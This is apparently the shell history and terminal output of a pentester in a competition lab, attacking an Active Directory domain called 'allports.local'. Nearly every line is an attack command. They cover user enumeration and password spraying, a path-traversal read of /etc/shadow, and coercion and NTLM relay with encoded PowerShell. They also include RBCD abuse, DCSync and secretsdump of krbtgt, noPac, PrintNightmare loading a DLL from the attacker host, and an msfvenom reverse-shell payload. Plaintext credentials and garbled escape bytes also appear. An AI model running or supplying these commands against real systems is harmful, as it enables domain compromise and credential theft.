_raw: : 1767990384:0;sudo impacket-ntlmrelayx -smb2support -t smb://10.0.1.6 -c 'whoami /all' -debug


_raw: : 1767990373:0;ls mv /home/pentester/.penelope/sessions/9a1ce56cd02c~10.0.1.13-Linux-x86_64/downloads/


_raw: : 1767990368:0;mv /home/pentester/.penelope/sessions/9a1ce56cd02c~10.0.1.13-Linux-x86_64/downloads/tmp/* .


_raw: : 1767990360:0;mv /home/pentester/.penelope/sessions/9a1ce56cd02c~10.0.1.13-Linux-x86_64/downloads/tmp/ .


_raw: : 1767990352:0;sudo apt install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin


_raw: : 1767990324:0;python3 autoWin.py 10.0.1.6 -u pentester -p ')ulhh55hm-h(M(7nV'


_raw: : 1767990291:0;./kerbrute -t 1 -v -d 'APT' -o username_enumeration.txt --dc 10.0.1.6 userenum converted_usernames.txt


_raw: : 1767990278:0;./kerbrute -t 1 -v -d 'APT.local' -o username_enumeration.txt --dc 10.0.1.6 userenum converted_usernames.txt


_raw:
: 1767990257:0;# Add Docker's official GPG key:\
sudo apt update\
sudo apt install ca-certificates curl\
sudo install -m 0755 -d /etc/apt/keyrings\
sudo curl -fsSL https://download.docker.com/linux/debian/gpg -o /etc/apt/keyrings/docker.asc\
sudo chmod a+r /etc/apt/keyrings/docker.asc\
\
# Add the repository to Apt sources:\
sudo tee /etc/apt/sources.list.d/docker.sources <<EOF\
Types: deb\
URIs: https://download.docker.com/linux/debian\
Suites: $(. /etc/os-release && echo "$VERSION_CODENAME")\
Components: stable\
Signed-By: /etc/apt/keyrings/docker.asc\
EOF\
\
sudo apt update


_raw: : 1767990247:0;nxc smb 10.0.1.6 -u users.txt -p updatepass.txt -k | grep +


_raw: : 1767990237:0;sudo apt remove $(dpkg --get-selections docker.io docker-compose docker-doc podman-docker containerd runc | cut -f1)


_raw: : 1767990194:0;cat converted_usernames.txt | grep aphillips


_raw:
nmap 10.0.1.0/24
nxc smb 10.0.1.21 -u svc_stablize -p 1gyroscope -k
nxc smb 10.0.1.21 -u svc_stablize -p 1gyroscope
nxc smb 10.0.1.21 -u rdavis -p rosdav50
nxc smb 10.0.1.21 -u rdavis -p rosdav50 -k
nxc smb 10.0.1.21 -u svc_stablize -p 1gyroscope -k
nxc smb 10.0.1.6-21 -u rdavis -p rosdav50 -k
nxc smb 10.0.1.6-21 -u svc_stabilize -p 1gyroscope -k
nxc smb 10.0.1.21 -u svc_stabilize -p 1gyroscope -k
ls
nxc smb 10.0.1.21 -u svc_stabilize -p 1gyroscope -k --users
nxc smb 10.0.1.21 -u svc_stabilize -p 1gyroscope -k --rid-brute
nxc smb 10.0.1.21 -u svc_stabilize -p 1gyroscope -k --shares
nxc smb 10.0.1.21 -u svc_stabilize -p 1gyroscope123
nxc smb 10.0.1.21 -u svc_stabilize -p 1gyroscope123 -k
enum4linux -u svc_stabilize -p 1gyroscope
enum4linux -u svc_stabilize -p 1gyroscope -k
ls
python3 autoWin.py 10.0.1.6-21 -u svc_stabilize -p 1gyroscope -enum
nano autoWin.py
clear
nano users.list
nxc smb 10.0.1.6-21 -u svc_stabilize -p 1gyroscope123 -k
nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -k
nxc smb 10.0.1.6-21 -u svc_stabilize -p 1gyroscope -k
nano autoWin.py
python3 autoWin.py 10.0.1.6 -u svc_stabilize -p 1gyroscope -d allports.local -ldapsearch
rpcclient -U 'ALLPORTS\' 10.0.1.6 -N
impacket-GetADUsers -all allports.local/svc_stabilize:1gyroscope
impacket-GetADUsers -all allports.local/svc_stabilize:1gyroscope > allusers.txt
cat allusers.txt | awk '{print $1}' > alluser.txt
cat alluser.txt
nano allusers.txt
nano alluser.txt
ldapsearch -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w 1gyroscope -b 'DC=allports,DC=local' "(& (objectCategory=persaon)(objectClass=user))" | grep 'distinguishedName:'
ldapsearch -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w 1gyroscope -b 'DC=allports,DC=local'
python3 autoWin.py 10.0.1.6 -u svc_stabilize -p 1gyroscope -d allports.local -ldpasearch
python3 autoWin.py 10.0.1.6 -u svc_stabilize -p 1gyroscope -d allports.local -ldapsearch
nano autoWin.py
ldapsearch -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w 1gyroscope -b 'DC=allports,DC=local' "(& (objectCategory=persaon)(objectClass=user))" | grep 'distinguishedName:'
python3 autoWin.py 10.0.1.6 -u svc_stabilize -p 1gyroscope -domain allports.local -delegation
nano autoWin.py
python3 autoWin.py 10.0.1.6 -u svc_stabilize -p 1gyroscope -domain allports.local -delegation
python3 autoWin.py 10.0.1.20 -u svc_stabilize -p 1gyroscope -domain allports.local -delegation
python3 autoWin.py 10.0.1.21 -u svc_stabilize -p 1gyroscope -domain allports.local -delegation
enum4linux -u svc_stabilize -p 1gyroscope
enum4linux 10.0.1.6 -u svc_stabilize -p 1gyroscope
enum4linux 10.0.1.20 -u svc_stabilize -p 1gyroscope
enum4linux-ng 10.0.1.6 -u svc_stabilize -p 1gyrscope
nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope --as-pol
nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope --pass-pol
nxc smb 10.0.1.6 -u rdavis -p rosdav50
nxc smb 10.0.1.6 -u rdavis -p rosdav50 -k
nxc smb 10.0.1.6 -u -p
nxc smb 10.0.1.6 -u -p ""
nxc smb 10.0.1.6 -u guest -p ""
nxc smb 10.0.1.6 -u guest -p "" -k
nxc smb 10.0.1.20 -u guest -p ""
nxc smb 10.0.1.20 -u guest -p "" --rid-brute
nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope --shares
nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope --active-users
nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope --trusted-for-delegation
nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope --admin-count
nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope -M get-descs-users
nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope -M get-decs-users
nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope -M get-desc-users
nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope --gmsa
nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope --dc-list
nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope -M sccm -o REC_RESOLVE=TRUE
nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope -M entra-id


_raw: : 1767990149:0;cat jsmith.txt | sort -u > converted_usernames.txt\


_raw: : 1767990120:0;docker build -t artemis .


_raw: : 1767990117:0;./kerbrute userenum --dc 10.0.1.6 -d allports.local SecLists/Usernames/xato-net-10-million-usernames-dup.txt


_raw: : 1767990101:0;ncrack -vv --user guest -P /usr/share/wordlists/rockyou.txt rdp://10.0.1.6


_raw: : 1767990066:0;./kerbrute userenum --dc 10.0.1.6 -d allports.local SecLists/Usernames/top-usernames-shortlist.txt


_raw: : 1767990046:0;docker build -t artemis .


_raw:
: 1767990018:0;curl -X 'GET' \\
  'http://gps.allports.tours:8080/api/download_csv.php?file=/etc/shadow' \\
  -H 'accept: text/csv' \\


_raw: : 1767990017:0;sudo apt install docker-cli   \


_raw: : 1767990010:0;docker build -t artemis .


_raw:
done
dig @10.0.1.6 _ldap._tcp.pki._msdcs.allports.local SRV\
\
# Alternative ADCS checks\
dig @10.0.1.6 certserv.allports.local A\
dig @10.0.1.6 pki.allports.local A
crackmapexec winrm 10.0.1.20 -u SVC_STABILIZE -p '1gyroscope'
evil-winrm -i 10.0.1.20 -u SVC_STABILIZE -p '1gyroscope'
crackmapexec winrm 10.0.1.21 -u SVC_STABILIZE -p '1gyroscope'
evil-winrm -i 10.0.1.21 -u SVC_STABILIZE -p '1gyroscope'
smbmap -H 10.0.1.20 -u SVC_STABILIZE -p '1gyroscope'
\
smbclient -L //10.0.1.20 -U "SVC_STABILIZE%1gyroscope"
smbmap -H 10.0.1.21 -u SVC_STABILIZE -p '1gyroscope'
smbclient -L //10.0.1.21 -U "SVC_STABILIZE%1gyroscope"
ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w ')u1h55hm-h(M(7nV' -b "CN=Domain Admins,CN=Users,DC=allports,DC=local" member | grep "CN=" | cut -d',' -f1 | cut -d'=' -f2
for dn in $(ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w ')u1h55hm-h(M(7nV' -b "CN=Domain Admins,CN=Users,DC=allports,DC=local" member | grep "CN=" | grep -v "^#"); do\
    echo $dn | cut -d',' -f1 | cut -d'=' -f2\
done
ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w '1gyroscope' -b "DC=allports,DC=local" "(sAMAccountName=ai.svc)" "*" | grep -i "member\|admin\|priv\|delegation"
ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w '1gyroscope' -b "DC=allports,DC=local" "(sAMAccountName=ai.svc)" servicePrincipalName
ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w '1gyroscope' -b "DC=allports,DC=local" "(sAMAccountName=SVC_STABILIZE)" memberOf
bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 get object 'SVC_STABILIZE' --attr msDS-AllowedToDelegateTo,userAccountControl
python3 printerbug.py allports.local/SVC_STABILIZE:1gyroscope@10.0.1.20 YOUR_KALI_IP
python3 printerbug.py allports.local/SVC_STABILIZE:1gyroscope@10.0.1.20 10.0.254.202
find /printerbug.py
ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w '1gyroscope' -b "DC=allports,DC=local" "(sAMAccountName=SVC_STABILIZE)" msDS-AllowedToDelegateTo userAccountControl servicePrincipalName
impacket-getST -spn 'cifs/APT-DC-01.allports.local' -impersonate Administrator allports.local/SVC_STABILIZE:1gyroscope
\
impacket-secretsdump allports.local/SVC_STABILIZE:1gyroscope@10.0.1.6 -just-dc-user Administrator
impacket-secretsdump allports.local/SVC_STABILIZE:1gyroscope@10.0.1.6 -just-dc-user krbtgt
impacket-secretsdump allports.local/SVC_STABILIZE:1gyroscope@10.0.1.6 -just-dc-ntlm -outputfile dc_hashes
impacket-secretsdump allports.local/SVC_STABILIZE:1gyroscope@10.0.1.6 -just-dc-ntlm -outputfile dc_hashes -use-vss
impacket-addcomputer allports.local/SVC_STABILIZE:1gyroscope -dc-ip 10.0.1.6 -computer-name 'EVILCOMP$' -computer-pass 'ComplexPass123!'
bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 add rbcd 'EVILCOMP$' 'DECKHAND-01$'
impacket-getST -spn 'cifs/deckhand-01.allports.local' -impersonate Administrator allports.local/EVILCOMP$:'ComplexPass123!' -dc-ip 10.0.1.6
bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 get search --filter '(objectClass=user)' --attr distinguishedName > all_users.txt
certipy shadow auto -u REDACTED_EMAIL -p '1gyroscope' -account 'DECKHAND-01$' -dc-ip 10.0.1.6
impacket-getTGT allports.local/SVC_STABILIZE:1gyroscope -dc-ip 10.0.1.6
impacket-getST -spn 'gyroscope/APT-DC-01' -impersonate Administrator allports.local/SVC_STABILIZE:1gyroscope -dc-ip 10.0.1.6
ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w '1gyroscope' -b "DC=allports,DC=local" "(objectClass=computer)" ms-MCS-AdmPwd sAMAccountName
impacket-secretsdump allports.local/SVC_STABILIZE:1gyroscope@10.0.1.6 -just-dc-user krbtgt
bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 remove rbcd 'EVILCOMP$' 'DECKHAND-01$'
ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w '1gyroscope' -b "DC=allports,DC=local" "(objectClass=computer)" ms-MCS-AdmPwd sAMAccountName
bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 add rbcd 'EVILCOMP$' 'DECKHAND-01$'
ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w '1gyroscope' -b "DC=allports,DC=local" "(sAMAccountName=DECKHAND-01$)" msDS-AllowedToActOnBehalfOfOtherIdentity
impacket-getST -spn 'cifs/deckhand-01.allports.local' -impersonate Administrator allports.local/EVILCOMP$:'ComplexPass123!' -dc-ip 10.0.1.6
impacket-getST -spn 'host/deckhand-01.allports.local' -impersonate Administrator allports.local/EVILCOMP$:'ComplexPass123!' -dc-ip 10.0.1.6
impacket-getST -spn 'cifs/evilcomp.allports.local' -impersonate Administrator allports.local/EVILCOMP$:'ComplexPass123!' -dc-ip 10.0.1.6 -self
export KRB5CCNAME=Administrator.ccache
klist
impacket-psexec -k -no-pass allports.local/REDACTED_EMAIL
ls
export KRB5CCNAME=Administrator.ccache
ls
bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 add rbcd 'EVILCOMP$' 'APT-DC-01$'
impacket-getST -spn 'cifs/apt-dc-01.allports.local' -impersonate Administrator allports.local/EVILCOMP$:'ComplexPass123!' -dc-ip 10.0.1.6
ls
bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 add rbcd 'EVILCOMP$' 'DECKHAND-02$'
impacket-getST -spn 'cifs/deckhand-02.allports.local' -impersonate Administrator allports.local/EVILCOMP$:'ComplexPass123!' -dc-ip 10.0.1.6
bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 remove rbcd 'EVILCOMP$' 'DECKHAND-01$'
bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 remove rbcd 'EVILCOMP$' 'DECKHAND-02$'
bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 remove rbcd 'EVILCOMP$' 'APT-DC-01$'
bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 set rbcd 'DECKHAND-01$' 'EVILCOMP$'
bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 add rbcd 'EVILCOMP$' 'DECKHAND-01$'
bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 remove rbcd 'EVILCOMP$' 'APT-DC-01$'
bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 remove rbcd 'EVILCOMP$' 'DECKHAND-01$'
bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 remove rbcd 'DECKHAND-01$' 'EVILCOMP$'
bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 add groupMember 'Backup Operators' 'SVC_STABILIZE'
bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 add dcsync 'SVC_STABILIZE'
bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 remove computer 'EVILCOMP$'
impacket-addcomputer allports.local/SVC_STABILIZE:1gyroscope -dc-ip 10.0.1.6 -computer-name 'EVILCOMP$' -delete
bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 remove object 'EVILCOMP$'
bloodyAD -d allports.local -u pentester -p ')u1h55hm-h(M(7nV' --host 10.0.1.6 remove object 'EVILCOMP$'
bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 remove object 'EVILCOMP$'
bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 set owner 'EVILCOMP$' 'SVC_STABILIZE'
bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 add genericAll 'EVILCOMP$' 'SVC_STABILIZE'
bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 get object 'EVILCOMP$' --attr nTSecurityDescriptor
bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 add groupMember 'Account Operators' 'SVC_STABILIZE'
bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 add spn 'ai.svc' 'HTTP/aiservice.allports.local'
bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 add user 'ai.svc' 'HTTP/aiservice.allports.local'
bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 set object 'ai.svc' servicePrincipalName -v 'HTTP/aiservice.allports.local'
impacket-GetUserSPNs allports.local/SVC_STABILIZE:1gyroscope -dc-ip 10.0.1.6 -request -outputfile all_spns.hash
rm -f *.ccache
impacket-GetUserSPNs allports.local/SVC_STABILIZE:1gyroscope -dc-ip 10.0.1.6 -request -outputfile all_spns.hash


_raw:
|   date: 2026-01-09T15:19:47\
|_  start_date: N/A\
\
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .\
Nmap done: 1 IP address (1 host up) scanned in 1397.47 seconds\
nxc smb 10.0.1.20 --shares
clear
rdesktop 10.0.1.20
nmap -sC -sV 10.0.1.20
crackmapexec smb 10.0.1.20 --shares
crackmapexec smb 10.0.1.20 -u '' -p '' --shares\
crackmapexec smb 10.0.1.20 -u '' -p '' --shares
smbclient -L //10.0.1.20 -N
enum4linux-ng 10.0.1.20
nmap --script rdp-vuln-ms12-020 10.0.1.6
nmap --script rdp-enum-encryption 10.0.1.6
$ nmap --script rdp-enum-encryption 10.0.1.6\
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-09 13:29 EST\
Nmap scan report for allports.local (10.0.1.6)\
Host is up (0.00035s latency).\
Not shown: 986 closed tcp ports (reset)\
PORT     STATE SERVICE\
53/tcp   open  domain\
88/tcp   open  kerberos-sec\
135/tcp  open  msrpc\
139/tcp  open  netbios-ssn\
389/tcp  open  ldap\
445/tcp  open  microsoft-ds\
464/tcp  open  kpasswd5\
593/tcp  open  http-rpc-epmap\
636/tcp  open  ldapssl\
3268/tcp open  globalcatLDAP\
3269/tcp open  globalcatLDAPssl\
3389/tcp open  ms-wbt-server\
| rdp-enum-encryption: \
|   Security layer\
|     CredSSP (NLA): SUCCESS\
|     CredSSP with Early User Auth: SUCCESS\
|     RDSTLS: SUCCESS\
|     SSL: SUCCESS\
|_  RDP Protocol Version: Unknown\
5985/tcp open  wsman\
5986/tcp open  wsmans\
smbclient -L //10.0.1.20 -N
nmap --script smb-vuln* -p445 10.0.1.20
nmap --script smb-vuln-ms17-010 -p445 10.0.1.20
crackmapexec smb 10.0.1.20
nmblookup -A 10.0.1.20
nbtscan 10.0.1.20
enum4linux -a 10.0.1.20
nmap --script rdp-vuln-ms12-020 -p3389 10.0.1.20
nmap --script rdp-ntlm-info -p3389 10.0.1.20
rdestop 10.0.1.20 -u '' -p ''
rdesktop 10.0.1.20 -u '' -p ''
echo | openssl s_client -connect 10.0.1.20:5986 2>/dev/null | openssl x509 -text -noout
sslscan 10.0.1.20:5986
curl -k https://10.0.1.20:5986/wsman
impacket-rpcdump 10.0.1.20
python3 IOXIDResolver.py -t 10.0.1.20
crackmapexec smb 10.0.1.20
ldapsearch -x -H ldap://10.0.1.6 -b "CN=DECKHAND-01,OU=Computers,DC=allports,DC=local" ms-Mcs-AdmPwd
ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=local" "(objectClass=computer)" ms-Mcs-AdmPwd sAMAccountName
python3 pyLAPS.py --action get -d allports.local -u '' -p '' --dc-ip 10.0.1.6 -t DECKHAND-01
rpcdump.py 10.0.1.20 | grep -i spoolsv
python3 rpcdump.py 10.0.1.20 | grep -i spoolsv
python3 /usr/share/doc/python3-impacket/examples/printerbug.py allports.local/guest@10.0.1.20 10.0.254.202
impacket-atexec allports.local/USERNAME:PASSWORD@10.0.1.20 "whoami"
ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=local" "(cn=DECKHAND-01)" ms-Mcs-AdmPwd ms-Mcs-AdmPwdExpirationTime
⃴\x83\xAC⃴\x80⃴\x80(pentesterラ\xBFcptc11-finals-t10-vdi-kali02)-[~]
⃴\x83\xB4⃴\x80$ python3 IOXIDResolver.py -t 10.0.1.20
python3: can't open file '/home/pentester/IOXIDResolver.py': [Errno 2] No such file or directory\
                                                                                \
⃴\x83\xAC⃴\x80⃴\x80(pentesterラ\xBFcptc11-finals-t10-vdi-kali02)-[~]\
⃴\x83\xB4⃴\x80$ crackmapexec smb 10.0.1.20          \
SMB         10.0.1.20       445    DECKHAND-01      [*] Windows Server 2022 Build 20348 x64 (name:DECKHAND-01) (domain:allports.local) (signing:False) (SMBv1:False)\
                                                                                \
⃴\x83\xAC⃴\x80⃴\x80(pentesterラ\xBFcptc11-finals-t10-vdi-kali02)-[~]\
⃴\x83\xB4⃴\x80$ ldapsearch -x -H ldap://10.0.1.6 -b "CN=DECKHAND-01,OU=Computers,DC=allports,DC=local" ms-Mcs-AdmPwd\
# extended LDIF\
#\
# LDAPv3\
# base <CN=DECKHAND-01,OU=Computers,DC=allports,DC=local> with scope subtree\
# filter: (objectclass=*)\
# requesting: ms-Mcs-AdmPwd \
#\
\
# search result\
search: 2\
result: 32 No such object\
matchedDN: DC=allports,DC=local\
text: 0000208D: NameErr: DSID-0310028D, problem 2001 (NO_OBJECT), data 0, best \
 match of:\
        'DC=allports,DC=local'\
\
\
# numResponses: 1\
                                                                                \
⃴\x83\xAC⃴\x80⃴\x80(pentesterラ\xBFcptc11-finals-t10-vdi-kali02)-[~]\
⃴\x83\xB4⃴\x80$ ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=local" "(objectClass=computer)" ms-Mcs-AdmPwd sAMAccountName\
# extended LDIF\
#\
# LDAPv3\
# base <DC=allports,DC=local> with scope subtree\
# filter: (objectClass=computer)\
# requesting: ms-Mcs-AdmPwd sAMAccountName \
#\
\
# search reference\
ref: ldap://ForestDnsZones.allports.local/DC=ForestDnsZones,DC=allports,DC=loc\
 al\
\
# search reference\
ref: ldap://DomainDnsZones.allports.local/DC=DomainDnsZones,DC=allports,DC=loc\
 al\
\
# search reference\
ref: ldap://allports.local/CN=Configuration,DC=allports,DC=local\
\
# search result\
search: 2\
result: 0 Success\
\
# numResponses: 4\
# numReferences: 3\
                                                                                \
⃴\x83\xAC⃴\x80⃴\x80(pentesterラ\xBFcptc11-finals-t10-vdi-kali02)-[~]\
⃴\x83\xB4⃴\x80$ python3 pyLAPS.py --action get -d allports.local -u '' -p '' --dc-ip 10.0.1.6 -t DECKHAND-01\
python3: can't open file '/home/pentester/pyLAPS.py': [Errno 2] No such file or directory
⃴\x83\xAC⃴\x80⃴\x80(pentesterラ\xBFcptc11-finals-t10-vdi-kali02)-[~]
⃴\x83\xB4⃴\x80$ rpcdump.py 10.0.1.20 | grep -i spoolsv
rpcdump.py: command not found
⃴\x83\xAC⃴\x80⃴\x80(pentesterラ\xBFcptc11-finals-t10-vdi-kali02)-[~]
⃴\x83\xB4⃴\x80$ python3 rpcdump.py 10.0.1.20 | grep -i spoolsv
python3: can't open file '/home/pentester/rpcdump.py': [Errno 2] No such file or directory\
                                                                                \
⃴\x83\xAC⃴\x80⃴\x80(pentesterラ\xBFcptc11-finals-t10-vdi-kali02)-[~]\
⃴\x83\xB4⃴\x80$ python3 /usr/share/doc/python3-impacket/examples/printerbug.py allports.local/guest@10.0.1.20 10.0.254.202      \
python3: can't open file '/usr/share/doc/python3-impacket/examples/printerbug.py': [Errno 2] No such file or directory
⃴\x83\xAC⃴\x80⃴\x80(pentesterラ\xBFcptc11-finals-t10-vdi-kali02)-[~]
⃴\x83\xB4⃴\x80$ impacket-atexec allports.local/USERNAME:PASSWORD@10.0.1.20 "whoami"
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] SMB SessionError: code: 0xc000006d - STATUS_LOGON_FAILURE - The attempted logon is invalid. This is either due to a bad username or authentication information.
⃴\x83\xAC⃴\x80⃴\x80(pentesterラ\xBFcptc11-finals-t10-vdi-kali02)-[~]
⃴\x83\xB4⃴\x80$ ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=local" "(cn=DECKHAND-01)" ms-Mcs-AdmPwd ms-Mcs-AdmPwdExpirationTime
# extended LDIF
#
# LDAPv3
# base <DC=allports,DC=local> with scope subtree
# filter: (cn=DECKHAND-01)
# requesting: ms-Mcs-AdmPwd ms-Mcs-AdmPwdExpirationTime
#
# search reference
ref: ldap://ForestDnsZones.allports.local/DC=ForestDnsZones,DC=allports,DC=loc
locate printerbug.py
find /usr -name "printerbug.py" 2>/dev/null
rpcclient -U "" -N 10.0.1.20 <<E0F\
enumprinters\
quit\
EOF\
E0F
impacket-smbclietn -no-pass 10.0.1.20
impacket-smbclient -no-pass 10.0.1.20
smbclient -L //10.0.1.20 -N
impacket-smbclient -no-pass 10.0.1.20
smbclient -L //10.0.1.20 -N
sudo impacket-ntlmrelayx -tf targets.txt -smb2support -c "powershell -enc <BASE64_PAYLOAD>"
echo "10.0.1.20" > targets.txt
smbclient //10.0.1.20/fake -N
nmblookup -A 10.0.1.20
crackmapexec smb 10.0.1.20 -u '' -p '' -M webdev
rpcclient -U "" -N 10.0.1.20 -c "srvinfo"
rpcclient -U "" -N 10.0.1.20 -c "enumdomusers"
crackmapexec ldap 10.0.1.6 -u '' -p '' -M get-desc-users
sudo mitm6 -d allports.local
python3 /opt/DFSCoerce/dfscoerce.py -d allports.local -u 'a' -p 'a' 10.0.254.202 10.0.1.20
python3 /opt/ShadowCoerce/shadowcoerce.py -d allports.local -u 'a' -p 'a' 10.0.254.202 10.0.1.20
nmap -p445 --script smb-vuln-ms17-010 --script-args="unsafe=1" 10.0.1.20
nmap -p445 --script smb-vuln-cve-2020-0796 10.0.1.20
nmap -p 443,80,8080 10.0.1.20 -sV
curl -k https://10.0.1.20/autodiscover/autodiscover.json
python3 /opt/zerologon/zerologon_tester.py DECKHAND-01 10.0.1.20
python3 /opt/noPac/noPac.py allports.local/DECKHAND-01$ -dc-ip 10.0.1.6 -dc-host 10.0.1.6 --impersonate administrator -dump
python3 /opt/PetitPotam/PetitPotam.py 10.0.254.202 10.0.1.20
python3 /opt/CVE-2021-1675/CVE-2021-1675.py allports.local/DECKHAND-01$@10.0.1.20 '\\10.0.254.202\share\evil.dll'
impacket-GetUserSPNs allports.local/ -dc-ip 10.0.1.6 -request -no-preauth
impacket-GetUserSPNs allports.local/ -dc-ip 10.0.1.6 -request
impacket-GetUserSPNs allports.local/ -dc-ip 10.0.1.6 -no-preauth
impacket-GetUserSPNs allports.local/ -dc-ip 10.0.1.6 -nopreauth
crackmapexec smb 10.0.1.6 -M adcs
impacket-ntlmrelayx -t ldaps://10.0.1.6 -smb2support --escalate-user lowpriv
crackmapexec smb 10.0.1.0/24 --shares
crackmapexec smb 10.0.1.20 --local-auth -M enum_av
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.254.202 LPORT=4444 -f exe -o payload.exe
echo '\\10.0.1.20\c$\payload.exe' | xargs -I {} echo {}
impacket-rpcmap 10.0.1.20
while true; do\
    smbclient -L //10.0.1.20 2>/dev/null\
    sleep 5\
done
impacket-atexec -k -no-pass allports.local/DECKHAND-01\$@10.0.1.20 "whoami"
impacket-getTGT allports.local/DECKHAND-01\$ -dc-ip 10.0.1.6
for pipe in spoolss samr lsarpc netlogon srvsvc wkssvc; do\
    echo "Testing $pipe"\
    rpcclient -U "%" -N 10.0.1.20 -c "enumdomusers" --pipe=$pipe 2>&1\
done
impacket-ntlmrelayx -t ldap://10.0.1.6 --escalate-user DECKHAND-01$ --delegate-access
echo | openssl s_client -connect 10.0.1.20:5986 -showcerts 2>/dev/null | openssl x509 -outform PEM > winrm.pem
certipy auth -pfx winrm.pem -dc-ip 10.0.1.6
impacket-getTGT -dc-ip 10.0.1.6 allports.local/DECKHAND-01$
dig @10.0.1.6 allports.local ANY\
dig @10.0.1.6 allports.local AXFR\
dig @10.0.1.6 _ldap._tcp.dc._msdcs.allports.local SRV\
dig @10.0.1.6 _kerberos._tcp.allports.local SRV\
dig @10.0.1.6 _kpasswd._tcp.allports.local SRV
reg query "\\10.0.1.20\HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate" /v WUServer 2>/dev/null
clear
dig @10.0.1.6 allports.local AXFR\
\
# Find all subdomains\
dig @10.0.1.6 *.allports.local ANY\
\
# Find mail servers\
dig @10.0.1.6 allports.local MX\
\
# Find all domain controllers\
dig @10.0.1.6 _ldap._tcp.allports.local SRV\
\
# Find global catalog servers\
dig @10.0.1.6 _gc._tcp.allports.local SRV\
\
# Find all kerberos servers\
dig @10.0.1.6 _kerberos._udp.allports.local SRV\
\
# Enumerate DFS\
dig @10.0.1.6 _msdcs.allports.local ANY\
\
# Find ADCS (Certificate Services)\
dig @10.0.1.6 _ldap._tcp.pki._msdcs.allports.local SRV\
\
# Find additional hosts\
for i in {1..254}; do\
    dig @10.0.1.6 -x 10.0.1.$i +short\
done\
\
# Check for common hostnames\
for host in web mail ftp vpn admin backup sql exchange sharepoint; do\
    dig @10.0.1.6 $host.allports.local A\
done
dig @10.0.1.6 -x 10.0.1.20 +short\
dig @10.0.1.6 -x 10.0.1.6 +short\
\
# Find all computers in domain\
for i in {1..254}; do\
    result=$(dig @10.0.1.6 -x 10.0.1.$i +short 2>/dev/null)\
    if [ ! -z "$result" ]; then\
        echo "10.0.1.$i - $result"\
    fi\


_raw:
|   date: 2026-01-09T15:19:47\
|_  start_date: N/A\
\
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .\
